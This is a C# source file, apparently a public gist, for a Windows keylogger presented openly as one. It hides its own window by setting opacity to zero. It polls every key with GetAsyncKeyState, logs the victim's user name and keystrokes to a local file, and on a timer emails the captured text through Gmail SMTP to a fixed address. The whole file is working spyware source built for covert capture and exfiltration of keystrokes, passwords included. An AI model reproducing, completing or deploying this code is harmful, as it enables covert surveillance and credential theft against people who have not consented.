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SajjadArifGul/KeyloggerForm.cs

Created October 9, 2015 12:32
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KeyloggerForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
//
using System.Runtime.InteropServices;
using System.IO;
using System.Net.Mail;
using System.Net;
namespace Keylogger1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
StringBuilder keyBuffer;
string data = "";
void CreateLog(string file)
{
try
{
StreamWriter sw = new StreamWriter(file, true);//I used true to append log to file
sw.Write(keyBuffer.ToString());
sw.Write(data.ToString());
sw.Close();
keyBuffer.Clear(); // reset buffer
}
catch
{
}
}
private void button1_Click(object sender, EventArgs e)
{
this.Opacity = 0;
key.Enabled = true;
log.Enabled = true;
notifyIcon1.ShowBalloonTip(5000);
button2.Enabled = true;
button1.Enabled = false;
}
private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
{
this.Opacity = 0;
}
string msg = "";
bool capslock, numlock;
private void key_Tick(object sender, EventArgs e)
{
capslock = Console.CapsLock;
numlock = Console.NumberLock;
if (capslock == true)
{
//button1.Text = "On";
}
foreach (System.Int32 i in Enum.GetValues(typeof(Keys))) //Iterate through each key to know whether it was pressed or not
{
if (GetAsyncKeyState(i) == -32767) //-32767(minimum value) indicates that key was pressed since we last called this function
{
msg = Enum.GetName(typeof(Keys), i).ToString();
if (capslock == true)
{
msg = msg.ToUpper();
}
else
msg=msg.ToLower();
switch (msg)
{
case "space":case "SPACE":
msg = " ";
break;
case "capslock":
case "CAPSLOCK":
msg = " ";
break;
// shiftkeylshiftkey
case "enter":case "ENTER":
msg=(Environment.NewLine);
break;
case "LBUTTON": case "lbutton":
msg = "";
break;
case "OemPeriod":case "OEMPERIOD":case "oemperiod":
msg=".";
break;
case "LMenu":case "lemnu":case "LMENU":
msg="ALT ";
break;
case "Back":
msg = " ";
break;
case "Oem7":
msg="'";
break;
case "down":
msg = " D ";
break;
case "up":
msg = " U ";
break;
case "right":
msg = " R ";
break;
case "left":
msg = " L ";
break;
case "back":
msg = " B ";
break;
case "Oemcomma":
msg=",";
break;
case "Capital":
msg="CAPITAL ";
break;
case "Tab":
msg="TAB ";
break;
case "OemQuestion":
msg="?";
break;
case "Oem1":
msg=";";
break;
case "Oem5":
msg="\\";
break;
case "Oem6":
msg="]";
break;
case "OemOpenBrackets":
msg="[";
break;
case "OemMinus":
msg="-";
break;
case "Oemplus":
msg="+";
break;
/*case Keys.Down:
sw.Write("DownArrow-");
break;
case Keys.Left:
sw.Write("Left Arrow-");
break;
case Keys.Right:
sw.Write("Righr Arrow-");
break;
case Keys.Up:
sw.Write("Up Arrow-");
break;*/
case "D0":
case "d0":
msg="0";
break;
case "D1":
case "d1":
msg="1";
break;
case "D2":
case "d2":
msg="2";
break;
case "D3":
case "d3":
msg="3";
break;
case "D4":
case "d4":
msg="4";
break;
case "D5":
case "d5":
msg="5";
break;
case "D6":
case "d6":
msg="6";
break;
case "D7":
case "d7":
msg="7";
break;
case "D8":
case "d8":
msg="8";
break;
case "D9":
case "d9":
msg="9";
break;
case "OemPipe":
msg = "|";
break;
case "rshiftkey":
case "RShiftKey":
case "RSHIFTKEY":
msg = "";
break;
case "LSHIFTKEY":
case "Lshiftkey":
case "lshiftkey":
msg = "";
break;
case "LCONTROLKEY":
case "lcontrolkey":
msg = "";
break;
case "RCONTROLKEY":
case "rcontrolkey":
msg = "";
break;
case "OemSemicolon":
msg=";";
break;
case "DELETE":case "delete":
msg = "";
break;
//case "DELETE":
//case "delete":
// msg = "";
//break;
}
if (msg.Contains("control") || msg.Contains("CONTROL")) try { msg = msg.Substring("CONTROL".Length, msg.Length); ctrl = 2; }
catch { msg = ""; ctrl = 2; }
if (msg.Contains("shift") || msg.Contains("SHIFT")) try { msg = msg.Substring("SHIFT".Length, msg.Length); shift = 3; }
catch { msg = ""; shift = 3; }
if (msg.Equals("delete") || msg.Equals("DELETE")) del = 2;
if(msg.Equals("back")||msg.Equals("BACK"))back=3;
if (shift == 1)
{
try
{
a = Convert.ToChar(msg);
shift = 0;
}catch{}
if (capslock == true)
{
sp = Convert.ToInt32(a) + 32;
try { ab = Convert.ToChar(sp); }
catch { MessageBox.Show(sp.ToString()); }
msg = ab.ToString(); shift = 0;
}
else
{
msg = msg.ToString().ToUpper();
sp = Convert.ToInt32(a) - 32;
try { ab = Convert.ToChar(sp); }
catch { MessageBox.Show(sp.ToString()); }
msg = ab.ToString(); shift = 0;
}
label1.Text = shift.ToString() + " " + msg.ToString();
richTextBox1.Text += msg;
shift = 0;
}
else
{
if(shift>= 2)shift--;
keyBuffer.Append(msg);
label1.Text = shift.ToString() + " " + msg.ToString();
richTextBox1.Text += msg;
}
}
}
}
int ctrl, shift, del,back = 0; int sp; string msg2; char a,ab;
private void Form1_Load(object sender, EventArgs e)
{
this.Opacity = 0;
key.Enabled = true;
log.Enabled = true;
notifyIcon1.ShowBalloonTip(5000);
button2.Enabled = true;
button1.Enabled = false;
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
richTextBox1.Text += userName + " : ";
keyBuffer = new StringBuilder();
smtpClient= "smtp.gmail.com";
smtpPort = "587";
mailfrom= "[email protected]"; //ONLY GMAIL ALLOWED
}
string smtpClient, smtpPort, mailfrom;
public void sendMail1()
{
try
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress(mailfrom);
mail.To.Add(new MailAddress("[email protected]"));
mail.Body = richTextBox1.Text;
SmtpClient Smtp_Client = new SmtpClient("smtp.gmail.com", 587);
Smtp_Client.EnableSsl = true;
Smtp_Client.Credentials = new NetworkCredential(mailfrom, "YOUR-EMAIL-1-PASSWORD"); ;
Smtp_Client.SendCompleted += new SendCompletedEventHandler(smtp_SendCompleted);
Smtp_Client.SendAsync(mail, null);
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
private void smtp_SendCompleted(object sender, System.ComponentModel.AsyncCompletedEventArgs e)
{
if (e.Error != null) { }
else if (e.Cancelled) { }
else
{ }
}
private void sendMail()
{
try
{
SmtpClient client = new SmtpClient(smtpClient);
MailMessage message = new MailMessage(mailfrom, "[email protected]");
message.Body = richTextBox1.Text;
message.Subject = "Keylogger";
client.Credentials = new System.Net.NetworkCredential(mailfrom, "YOUR-EMAIL-1-PASSWORD");
client.Port = Convert.ToInt32(smtpPort);
client.Send(message);
}
catch (Exception ex)
{
}
}
private void log_Tick(object sender, EventArgs e)
{
CreateLog(@"D:\logfilebest.txt");
}
private void button2_Click(object sender, EventArgs e)
{
key.Enabled = false;
log.Enabled = false;
button1.Enabled = true;
button2.Enabled = false;
}
private void timer1_Tick(object sender, EventArgs e)
{
sendMail1();
}
private void button3_Click(object sender, EventArgs e)
{
sendMail1();
}
}
}
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